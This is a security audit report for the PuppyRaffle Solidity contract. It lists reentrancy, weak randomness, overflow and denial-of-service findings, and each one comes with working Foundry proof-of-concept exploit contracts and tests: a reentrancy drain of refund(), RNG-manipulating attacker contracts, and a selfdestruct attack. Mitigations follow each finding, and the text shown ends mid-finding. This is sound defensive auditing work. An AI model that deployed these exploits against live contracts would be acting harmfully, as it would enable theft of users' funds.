PuppyRaffle
Protocol Audit Report

Version 1.1

Oleh Yatskiv at OmiSoft

May 11, 2024

PuppyRaffle Protocol Audit Report

Oleh Yatskiv at OmiSoft

May 11th, 2024

Prepared by: OmiSoft team

Lead Auditor: Oleh Yatskiv

Table of Contents

Protocol Summary

The PuppyRaffle smart contract is a raffle, that is timebased. Anyone can enter the raffle, and even enter their friends providing the players array to the `enterRaffle` function. The owner of the raffle can set the address that receives the fees from the raffle. Fees are calculated each time the raffle ends, and are 20% of the total prize pool. Winner also receives a random puppy NFT which have different rarities. Users can get a refund before the raffle ends by calling the `refund` function.

Disclaimer

Oleh Yatskiv from the OmiSoft team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
|__ PuppyRaffle.sol
```

Roles

- Owner — Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player — Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	4
Gas	6
Info	12
Total	29

Findings

High

[H-1] Reentrancy threat at `PuppyRaffle::refund` which allows the attacker to drain the contract's balance

Description: The `PuppyRaffle::refund` function is not protected from reentrancy attacks. The attacker can call the `PuppyRaffle::refund` function and then call the `PuppyRaffle::enterRaffle` function from the attacker contract's fallback or receive functions, which would result in the `PuppyRaffle::refund` function being called again, and so on. This would allow the attacker to drain the contract's balance completely.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

->      payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: The attacker can drain the contract's balance, which would result in the contract not being able to pay out the winners, or even not being able to refund the players that want to get their money back.

Proof of Concept: We can create a contract that would call the `PuppyRaffle::refund` function and then call the `PuppyRaffle::enterRaffle` function from the fallback function. It can be done by running the following test function:

```
    function testReentrancyRefund() public playerEntered {
        uint256 balanceBefore = address(this).balance;
        uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(playerOne);

        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        uint256 indexOfAttacker = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(indexOfAttacker);

        uint256 balanceAfter = address(this).balance;

        assertEq(balanceAfter, balanceBefore + entranceFee); // we stole funds from playerOne
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            uint256 indexOfAttacker = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(indexOfAttacker);
        }
    }
```

The test passes, meaning that we succesfully stole funds from the contract.

Recommended Mitigation: It would be the best to use the `nonReentrant` modifier from the OpenZeppelin's ReentrancyGuard library. It would look like this:

```
    function refund(uint256 playerIndex) public nonReentrant {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Read more about it here: https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard

Or a custom reentrancy guard mechanism may be implemented.

[H-2] Usage of weak RNG in `PuppyRaffle::selectWinner` opening opportunities for manipulation

Description: The `PuppyRaffle::selectWinner` function uses weak RNG to determine the winner and the rarity of the puppy. The `block.difficulty`, `block.timestamp` and `msg.sender` are used to determine the winner, and `block.difficulty` and `block.timestamp` are used for the rarity of the puppy. This could be easily manipulated by the attacker, as the `block.difficulty` and `block.timestamp` are not secure sources of randomness and are manipulable by the miners.

```
    function selectWinner() external {
        ...
->      uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        ...
        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to determine rarity
->      uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
    block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
        ...
    }
```

Impact: The attacker can manipulate the `block.difficulty` and `block.timestamp` to get the desired rarity of the puppy and to become the winner. This makes the raffle unfair and breaks it's core functionality.

Proof of Concept: We can write a simple test function to check that the attacker can manipulate the `block.difficulty` and `block.timestamp` to get the desired rarity of the puppy and to become the winner. For that let's create a malicious contract that will exploit the raffle:

```
contract MaliciousGetLegendary is IERC721Receiver {
    uint256 public constant COMMON_RARITY = 70;
    uint256 public constant RARE_RARITY = 25;

    receive() external payable {
        uint256 rarity = uint256(keccak256(abi.encodePacked(address(
            this), block.difficulty))) % 100;
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(address(this), block.
                timestamp, block.difficulty))) % 4;
        if (rarity <= COMMON_RARITY + RARE_RARITY || winnerIndex != 0)
            {
            revert();
        }
    }

    function onERC721Received(address, address, uint256, bytes calldata
        ) external pure override returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

The test function will look like this:

```
        uint256 public constant UNSUCCESSFUL_REVERTS = 37;

    function testSelectWinnerMaliciousGetsLegendary() public {
        address[] memory players = new address[](4);
        MaliciousGetLegendary maliciousContract1 = new
            MaliciousGetLegendary();
        MaliciousGetLegendary maliciousContract2 = new
            MaliciousGetLegendary();
        MaliciousGetLegendary maliciousContract3 = new
            MaliciousGetLegendary();
        MaliciousGetLegendary maliciousContract4 = new
            MaliciousGetLegendary();
        players[0] = address(maliciousContract1);
        players[1] = address(maliciousContract2);
        players[2] = address(maliciousContract3);
        players[3] = address(maliciousContract4);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 i = 0;
        while (i < UNSUCCESSFUL_REVERTS) {
            console.log("i: %d", i);
            vm.expectRevert();
            vm.prank(address(maliciousContract1));
            puppyRaffle.selectWinner();
            vm.stopPrank();
            vm.prevrandao(bytes32(i));
            i++;
        }
        vm.prank(address(maliciousContract1));
        puppyRaffle.selectWinner();
        vm.stopPrank();
        assertEq(puppyRaffle.tokenIdToRarity(0), LEGENDARY_RARITY);
    }
```

The UNSUCCESSFUL_REVERTS variable was obtained by running the test function with `while (true)` loop and checking the logs. The test passes, meaning that the attacker can manipulate the `block.difficulty` and `block.timestamp` to get the desired rarity of the puppy and to become the winner. It is the same test function described in the `[L-1]` finding.

Recommended Mitigation: It is recommended to use a secure RNG to determine the winner and the rarity of the puppy. The Chainlink VRF (Verifiable Random Function) could be used to generate secure randomness. Read more about it here.

[H-3] `PuppyRaffle::refund` does not update the length of the players array, which leads to a loss of fees and unability to pay out the winners

Description: The `PuppyRaffle::refund` function does not update the length of the players array, which is used to determine the final prize pool at the `PuppyRaffle::selectWinner` function:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);
```

```

->          players[playerIndex] = address(0);
            emit RaffleRefunded(playerAddress);
        }
```

We reset the player's address to `address(0)`, but we don't update the length of the players array, that's used in the `PuppyRaffle::selectWinner` function:

```
        function selectWinner() external {
            ...
->          uint256 totalAmountCollected = players.length * entranceFee;
            uint256 prizePool = (totalAmountCollected * 80) / 100;
            uint256 fee = (totalAmountCollected * 20) / 100;
            ...
        }
```

Impact: This could not only lead to a loss of fees (the contract will pay the winner more than it was supposed to) but also to a loss of the ability to pay out the winners, as the contract won't have enough funds to do so.

Proof of Concept: We can write two test functions, one would check the scenario of the loss of fees, and the other one would check the scenario of the loss of the ability to pay out the winners. We also will change the require in the `PuppyRaffle::selectWinner` function to make the revert message more clear:

```
        function withdrawFees() external {
->          require(address(this).balance >= uint256(totalFees), "
        PuppyRaffle: The balance is too low!");
            uint256 feesToWithdraw = totalFees;
            totalFees = 0;
            (bool success,) = feeAddress.call{value: feesToWithdraw}("");
            require(success, "PuppyRaffle: Failed to withdraw fees");
        }
```

We would also need to create a getter function to get the length of the players array in the `PuppyRaffle` contract:

```
        function getPlayersLength() public view returns (uint256) {
            return players.length;
        }
```

The first test function would look like this:

```
        function testRefundLossOfFees() public {
            address[] memory players = new address[](5);
            players[0] = playerOne;
            players[1] = playerTwo;
            players[2] = playerThree;
            players[3] = playerFour;
            players[4] = address(5);
            puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
            uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(
                playerOne);
            vm.prank(playerOne);
            puppyRaffle.refund(indexOfPlayer);
            vm.stopPrank();
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);

            puppyRaffle.selectWinner();

            vm.expectRevert("PuppyRaffle: The balance is too low!");
            puppyRaffle.withdrawFees();
        }
```

It passes, meaning that we lost fees and can't withdraw them. The second function one would look like this:

```
    function testUnableToPayoutTheWinner() public {
        address[] memory players = new address[](5);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = address(5);
        puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
        uint256 indexOfPlayerOne = puppyRaffle.getActivePlayerIndex(
            playerOne);
        uint256 indexOfPlayerFour = puppyRaffle.getActivePlayerIndex(
            playerFour);
        vm.prank(playerOne);
        puppyRaffle.refund(indexOfPlayerOne);
        vm.stopPrank();
        vm.prank(playerFour);
        puppyRaffle.refund(indexOfPlayerFour);
        vm.stopPrank();
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        console.log("PuppyRaffle balance: %d", address(puppyRaffle).
            balance);
        console.log("Expected payout as per selectWinner function
            behaviour: %d", (puppyRaffle.getPlayersLength() *
            entranceFee) * 80 / 100);
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to
            winner");
        puppyRaffle.selectWinner();
    }
```

The test passes, meaning that we can't send funds to the winner. By checking the logs we can see that we have insufficient funds to pay out the winner:

```
Logs:
  PuppyRaffle balance: 3000000000000000000
  Expected payout as per selectWinner function behaviour:
      4000000000000000000
```

Recommended Mitigation: It is recommended to update the length of the players array in the `PuppyRaffle::refund` function. It would look like this:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = players[players.length - 1];
        players.pop();
        emit RaffleRefunded(playerAddress);
    }
```

[H-4] `PuppyRaffle::withdrawFees` does strict comparison to check for active players, which could block the owner from withdrawing the fees

Description: In the `PuppyRaffle::withdrawFees` function, the contract checks whether there are active players by using strict comparison. This could block the owner from withdrawing the fees if someone would to enter each time immediately after the previous raffle ends. Also, if there are some discrepancies in the balance, the owner would not be able to withdraw the fees (for example by abusing it with selfdestruct):

```
    function withdrawFees() external {
->      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: The owner won't be able to withdraw any fees collected by the smart contract, making it's core functionality useless. The owner should be able to withdraw the fees at any time.

Proof of Concept: We can check the blockage by writting a simple contract that'll selfdestruct, blocking the owner from withdrawal of the fees:

```
contract AttackSelfDestruct {
    function attack(address payable _target) public {
        selfdestruct(_target);
    }
    fallback() external payable {}
}
```

Then we run this test function:

```
    function testWithdrawFeesBlocked() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        AttackSelfDestruct attacker = new AttackSelfDestruct();
        payable(address(attacker)).transfer(1 ether);
        attacker.attack(payable(address(puppyRaffle)));
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

It succeeds, meaning we can't withdraw even though there are no active players.

Recommended Mitigation: It is recommended to remove the strict comparison and use the `greater than` operator instead. It would look like this:

```
    function withdrawFees() external {
        require(address(this).balance >= uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
        ...
    }
```

Medium

[M-1] Denial-of-Service caused by `for` loops at `PuppyRaffle::enterRaffle` causing extremely high gas costs

Description: The `PuppyRaffle::players` array does not have a fixed length, meaning the amount of users is theoretically unlimited. This introduces the Denial-of-Service issue, as each consecutive call of the `PuppyRaffle::enterRaffle` would cost more and more, because the `for` loop that checks for duplicates goes through the whole array each time. That means that after some amount of players the amount of gas to call `PuppyRaffle::enterRaffle` would be so high, that no another person would be able to enter the raffle, as it would simply be unfeasible.

```
    function enterRaffle(address[] memory newPlayers) public payable {
        ...
->      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
        ...
    }
```

Impact: People are not able to enter the raffle after some amount of people has entered, resulting in the Denial-of-Service. Also, the players that enter last would be the ones to pay more for entering, which makes the process unfair, discouraging the users who decide to join later from participating.

Proof of Concept: We can check that the gas costs rise by seeing how much it would cost to enter first and second 100 players into the raffle. It can be done by running the following test function:

```
    function testEnterRaffleDoS() public {
        uint256 gasStart = gasleft();
        uint256 playersAmount = 100;
        address[] memory players = new address[](playersAmount);
        for (uint256 i = 0; i < playersAmount; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersAmount}(
            players);
        uint256 gasMiddle = gasleft();
        console.log("Gas used for entering first 100 players into the
            raffle: %d", gasStart - gasMiddle);
        address[] memory nextPlayers = new address[](playersAmount);
        for (uint256 i = 0; i < playersAmount; i++) {
            nextPlayers[i] = address(playersAmount + i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersAmount}(
            nextPlayers);
        uint256 gasEnd = gasleft();
        console.log("Gas used for entering second 100 players into the
            raffle: %d", gasMiddle - gasEnd);
    }
```

As we can see from the logs, amount of gas spent for entering the second 100 players is 2.88 times higher, than the one for the first hundred:

```
Logs:
  Gas used for entering first 100 players into the raffle: 6266795
  Gas used for entering second 100 players into the raffle: 18086566
```

Recommended Mitigation: It would be the best to use a mapping for storing the users that take part in the raffle. It would avoid the expensive `for` checks and therefore eliminates the Denial-of-Service issue. It would look like this:

```
    mapping(address => bool) public isAddressParticipating;
    address[] public currentParticipants;
```

And so the logic inside `PuppyRaffle::enterRaffle` would simply look like that:

```
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            require(!isAddressParticipating[newPlayers[i]], "
                PuppyRaffle: Duplicate player");
            isAddressParticipating[newPlayers[i]] = true;
            currentParticipants.push(newPlayers[i]);
        }

        emit RaffleEnter(newPlayers);
    }
```

At `PuppyRaffle::refund` it would look something like this:

```
    function refund() public {
        require(isAddressParticipating[msg.sender], "PuppyRaffle:
            Player already refunded, or is not active");
        isAddressParticipating[msg.sender] = false;

        payable(msg.sender).sendValue(entranceFee);
        emit RaffleRefunded(playerAddress);
    }
```

We won't need the `PuppyRaffle::getActivePlayerIndex` function at all. The `PuppyRaffle::selectWinner` would also need to have a mapping cleanup:

```
function selectWinner() external {
        ...
        uint256 length = players.length;
        for (uint256 i = 0; i < length; i++) {
            isAddressParticipating[players[i]] = false; // mapping
                cleanup
        }
        delete players;
        ...
    }
```

[M-2] Overflow and unsafe casting of uint256 to uint64 in `PuppyRaffle::selectWinner` leading to a loss of fees

Description: The `PuppyRaffle::selectWinner` function uses unsafe casting of `uint256` to `uint64` and does not check for overflow, which could lead to a loss of fees. The `totalFees` variable is incremented by the `fee` variable, which is of type `uint256`. The `totalFees` variable is of type `uint64`, so the `fee` variable could overflow the `totalFees` variable. Also, by casting `uint256` to `uint64` some of fees could be lost due to the casting.

```
    uint256 fee = (totalAmountCollected * 20) / 100;
->  totalFees = totalFees + uint64(fee);
```

Impact: The overflow could lead to a loss of most of the fees that should've been earned by the contract. The casting of `uint256` to `uint64` could also lead to a loss of fees, as the `uint64` can store less data than `uint256`.

Proof of Concept: We can write a simple test function to check the loss of the funds if we overflow:

```
    function testFeesOverflow() public {
        uint256 playersAmount = uint256(type(uint64).max) * 5 /
            entranceFee + 1;
        address[] memory players = new address[](playersAmount);
        for (uint256 i = 50; i < playersAmount + 50; i++) {
            players[i - 50] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersAmount}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 expectedFees = (entranceFee * playersAmount) * 20 /
            100;
        uint256 actualRewards = puppyRaffle.totalFees();
        console.log("Fee difference: %d wei lost of fees", expectedFees
             - actualRewards);
    }
```

Output:

```
Logs:
  Fee difference: 18446744073709551616 wei lost of fees
```

We've basically lost 18.45 ETH worth of fees, which is a significant amount!

Recommended Mitigation: Best way to overcome this issue would be to use `uint256` for the `totalFees` variable. The declaration would look like this:

```
    uint256 public totalFees = 0;
```

Also, we advise to use newer versions of Solidity (0.8.0+) that have built-in overflow checks. If you are using an older version of Solidity, you can use the SafeMath library to prevent overflows. Read more about it here.

[M-3] `PuppyRaffle::getActivePlayerIndex` returns 0 index if the player is not active, leading to confusing the first player of each raffle

Description: The `PuppyRaffle::getActivePlayerIndex` function returns 0 if the player is not active, which could lead to confusing the first player of each raffle (as the index of the first player is 0 as well). This could lead to a lot of misunderstandings and confusion.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
         (uint256) { // @written yeah, mapping would be better
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
->      return 0; // What if it's the player that's first in the array?
     We certainly don't want to confuse him
    }
```

Impact: The confusion could lead to misunderstandings and could discourage the users from participating in the raffle. It is important to have a clear and understandable contract, so the users would feel safe and secure when using it.

Proof of Concept: We could easily check that by running the following test function:

```
    function testActivePlayerIndex() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        console.log("First player active index: %d", puppyRaffle.
           getActivePlayerIndex(playerOne));
        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0);
        console.log("Non-player active index: %d", puppyRaffle.
           getActivePlayerIndex(address(5)));
        assertEq(puppyRaffle.getActivePlayerIndex(address(5)), 0);
    }
```

Output:

```
Logs:
  First player active index: 0
  Non-player active index: 0
```

Recommended Mitigation: It is recommended to return a value that is not in the range of the players array, for example -1, if the player is not active. It would look like this:

```
    function getActivePlayerIndex(address player) external view returns
        (int256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
        return -1;
    }
```

You could also use a mapping to store the players, which would make the function more efficient and would eliminate the need for the `getActivePlayerIndex` function.

Low

[L-1] People can revert transaction until they get the desired rarity in the `PuppyRaffle::selectWinner` function

Description: The `PuppyRaffle::selectWinner` function gets the rarity of the puppy by using weak RNG, which makes it easily manipulatable. Furthermore, the attacker can reject the transaction that doesn't get them their preferred rarity, and keep trying until they get the desired rarity. This would make the raffle unfair and would discourage the users from participating. The rejection would come from here:

```
    function selectWinner() external {
        ...
        (bool success,) = winner.call{value: prizePool}("");
->      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        ...
    }
```

Impact: The attacker can reject the transaction until they get the desired rarity, which would make the raffle unfair and discourage the users from participating.

Proof of Concept: We can check that the attacker can revert the transaction until they get the desired rarity by setting up an attacker contract that would be rejecting any input if the rarity is not the one they like:

```
contract MaliciousGetLegendary is IERC721Receiver {
    uint256 public constant COMMON_RARITY = 70;
    uint256 public constant RARE_RARITY = 25;

    fallback() external payable {
        uint256 rarity = uint256(keccak256(abi.encodePacked(address(
            this), block.difficulty))) % 100;
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(address(this), block.
                timestamp, block.difficulty))) % 4;
        if (rarity <= COMMON_RARITY + RARE_RARITY || winnerIndex != 0)
            {
            revert();
        }
    }

    function onERC721Received(address, address, uint256, bytes calldata
        ) external override returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

Then we can run the following test function to see that after 37 reverts the attacker gets the desired rarity:

```
    uint256 public constant LEGENDARY_RARITY = 5;
    uint256 public constant UNSUCCESSFUL_REVERTS = 37;

    function testSelectWinnerMaliciousGetsLegendary() public {
        address[] memory players = new address[](4);
        MaliciousGetLegendary maliciousContract1 = new
            MaliciousGetLegendary();
        MaliciousGetLegendary maliciousContract2 = new
            MaliciousGetLegendary();
        MaliciousGetLegendary maliciousContract3 = new
            MaliciousGetLegendary();
        MaliciousGetLegendary maliciousContract4 = new
            MaliciousGetLegendary();
        players[0] = address(maliciousContract1);
        players[1] = address(maliciousContract2);
        players[2] = address(maliciousContract3);
        players[3] = address(maliciousContract4);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 i = 0;
        while (i < UNSUCCESSFUL_REVERTS) {
            console.log("i: %d", i);
            vm.expectRevert();
            vm.prank(address(maliciousContract1));
            puppyRaffle.selectWinner();
            vm.stopPrank();
            vm.prevrandao(bytes32(i));
            i++;
        }
        vm.prank(address(maliciousContract1));
        puppyRaffle.selectWinner();
        vm.stopPrank();
        assertEq(puppyRaffle.tokenIdToRarity(0), LEGENDARY_RARITY);
    }
```

The UNSUCCESSFUL_REVERTS variable was obtained by running the test function with `while (true)` loop and checking the logs.

Recommended Mitigation: As the RNG issue is addressed in the `[M-#]` finding, the attacker would not be able to manipulate the rarity of the puppy. It is recommended to use a secure RNG to generate the rarity of the puppy. If this one is used instead, you should at least add a Contract check to the `PuppyRaffle::selectWinner` function to prevent the attacker from reverting the transaction:

```
    require(!Address.isContract(winner), "PuppyRaffle: Winner cannot be
        a smart contract");
```

[L-2] When the winner is a smart contract, it can cause reverts in the `PuppyRaffle::selectWinner` function, leading to difficulties when selecting a winner

Description: The `PuppyRaffle::selectWinner` function sends the prize pool to the winner using the `winner.call{value: prizePool}("");` line. If the winner is a smart contract, it could revert, so selecting the winner would become harder.

```
    (bool success,) = winner.call{value: prizePool}("");
->  require(success, "PuppyRaffle: Failed to send prize pool to winner"
   );
```

Impact: There could be some serious difficulties when a lot of malicious smart contracts enter the raffle and revert the transaction, making it almost impossible to select a winner.

Proof of Concept: First we will create a malicious contract that reverts the transaction:

```
    contract Malicious {
        fallback() external {
            revert();
        }
    }
```

Then we will enter the raffle with 4 malicious contracts and try to select the winner. We can check that the winner can revert the transaction by running the following test function:

```
    function testSelectWinnerReverts() public {
        address[] memory players = new address[](4);
        Malicious maliciousContract1 = new Malicious();
        Malicious maliciousContract2 = new Malicious();
        Malicious maliciousContract3 = new Malicious();
        Malicious maliciousContract4 = new Malicious();
        players[0] = address(maliciousContract1);
        players[1] = address(maliciousContract2);
        players[2] = address(maliciousContract3);
        players[3] = address(maliciousContract4);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        vm.expectRevert("PuppyRaffle: Failed to send prize pool to
            winner");
        puppyRaffle.selectWinner();
    }
```

The test function succeeds, meaning that the winner can revert the transaction.

Recommended Mitigation: It is recommended to add a check for the winner to be a regular address, not a smart contract. It would look like this:

```
    require(!Address.isContract(winner), "PuppyRaffle: Winner cannot be
        a smart contract");
```

Read more about it here.

[L-3] Missing zero address checks in `PuppyRaffle::constructor` and `PuppyRaffle::changeFeeAddress`

Description: There are no zero address checks in the `PuppyRaffle::constructor` and `PuppyRaffle::changeFeeAddress` functions so the zero address can be set as the fee address. As `PuppyRaffle::withdrawFees` doesn't perform the check either, the fees may be permanently lost.

Impact: There may be a permanent loss of fees if the owner sets the zero address as the fee address.

Proof of Concept: We can check that the zero address can be set as the fee address by running the following test function:

```
    function testWithdrawFeesToZeroAddress() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;

        puppyRaffle.changeFeeAddress(address(0));
        puppyRaffle.selectWinner();
        puppyRaffle.withdrawFees();
        assertEq(address(0).balance, expectedPrizeAmount);
    }
```

The test passes, so the fees were sent to the zero address. As we have no control over the zero address, the fees are lost.

Recommended Mitigation: It is recommended to add the following check to both functions:

```
    require(feeAddress != address(0), "PuppyRaffle: Fee address cannot
        be zero address");
```

[L-4] `PuppyRaffle::selectWinner` uses `block.timestamp` for comparison, which can be manipulated by the miners

Description: The `PuppyRaffle::selectWinner` function uses `block.timestamp` for comparison, which can be manipulated by the miners. The miners can manipulate the `block.timestamp` to end the raffle beforehand.

```
    function selectWinner() external {
        ...
->      require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
        ...
    }
```

Impact: The miners can manipulate the `block.timestamp` to end the raffle beforehand, which would make the raffle unfair and would discourage the users from participating.

Recommended Mitigation: It is recommended to use `block.number` instead of `block.timestamp` for comparison. The `block.number` is not manipulable by the miners, so the raffle would be more fair and secure. It would look like this:

```
    function selectWinner() external {
        ...
        require(block.number >= raffleStartBlock + raffleDuration, "
            PuppyRaffle: Raffle not over");
        ...
    }
```

Gas

[G-1] The `PuppyRaffle::enterRaffle`, `PuppyRaffle::refund` and `PuppyRaffle::tokenURI` are never called from the contract, so could be marked as `external`

The `PuppyRaffle::enterRaffle`, `PuppyRaffle::refund` and `PuppyRaffle::tokenURI` functions are never called from the contract itself, so they could be marked as `external` to save some gas. It is recommended to mark them as `external` to save some gas. Read more at Hacken, `Function Optimization` section.

[G-2] Variables that won't change their value should be marked as `immutable` or `constant`

There are some variables in the `PuppyRaffle` contract that won't change their value, so their mutability should be reduced to save some gas. Here are the variables: - `raffleDuration` should be marked as `immutable` - `commonImageUri` should be renamed to `COMMON_IMAGE_URI` and marked as `constant` - `rareImageUri` should be renamed to `RARE_IMAGE_URI` and marked as `constant` - `legendaryImageUri` should be renamed to `LEGENDARY_IMAGE_URI` and marked as `constant`

[G-3] There should be a check for an empty array in `PuppyRaffle::enterRaffle`

In order not to emit an event each time an empty array is passed to the `PuppyRaffle::enterRaffle` function, therefore wasting gas and confusing event listeners, it is recommended to add a check for an empty array at the beginning of the function:

```
    require(newPlayers.length > 0, "PuppyRaffle: Players array is empty
        ");
```

[G-4] `PuppyRaffle::enterRaffle` uses storage variable in a loop

The `PuppyRaffle::enterRaffle` function uses the `players` storage variable in a loop, which is extremely expensive. It is recommended to use a memory variable instead of a storage variable in the loop to save gas. Here's an example:

```
    function enterRaffle(address[] memory newPlayers) public payable {
        ...
        address[] memory playersToCheck = players;
        uint256 length = playersToCheck.length;
        for (uint256 i = 0; i < length - 1; i++) {
            for (uint256 j = i + 1; j < length; j++) {
                require(playersToCheck[i] != playersToCheck[j], "
                    PuppyRaffle: Duplicate player");
            }
        }
        ...
    }
```

[G-5] Unnecessary function `PuppyRaffle::getActivePlayerIndex` could be removed

When switcing to using a mapping as described in the `[M-#]` finding, the `PuppyRaffle::getActivePlayerIndex` function would become unnecessary and could be removed. This would reduce the deployment gas costs and make the contract more efficient.

[G-6] `PuppyRaffle::_isActivePlayer` function is declared internal, but not used anywhere

The `PuppyRaffle::_isActivePlayer` function is declared as `internal`, but it is not used anywhere in the contract. It is recommended to remove the function to save the deployment gas costs and make the contract more efficient.

Informational

[I-1] `PuppyRaffleTest.t.sol` does not have sufficient test coverage for the `PuppyRaffle` contract

Current test coverage is:

File	% Lines	% Statements	% Branches	% Funcs
src/PuppyRaffle.sol	84.85% (56/66)	85.39% (76/89)	67.86% (19/28)	80.00% (8/10)

It is recommended to test all of the methods and ideally all of their possible branches.

[I-2] `PuppyRaffle` contract uses floating pragma statement, which is not advised

It is way better to have a fixed version of the Solidity compiler, as the floating version may introduce some unexpected behavior. It is recommended to use a fixed version of the Solidity compiler, for example `0.8.0`.

[I-3] `PuppyRaffle` contract uses an obsolete version of the Solidity compiler

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. It is also recommended to avoid complex `pragma` statement.

It's better to deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-4] The contract might be facing some centralization issues

It is important to note that the contract is centralized, as the owner can change the entrance fee. It is recommended to make the contract more decentralized, by removing the owner and making the contract more autonomous, or could be left as is if the centralization is intended.

[I-5] Better naming convention may be used

It is advised by our team for you to adopt the "i_" and "s_" naming conventions for immutable and storage variables, respectively. This will make the code more readable and easier to understand when you are working with storage variables, which are expensive to read and write.

[I-6] Mappings could be merge into one by using a struct

There are 2 mappings on lines 33-35 of the `PuppyRaffle` contract:

```
// mappings to keep track of token traits
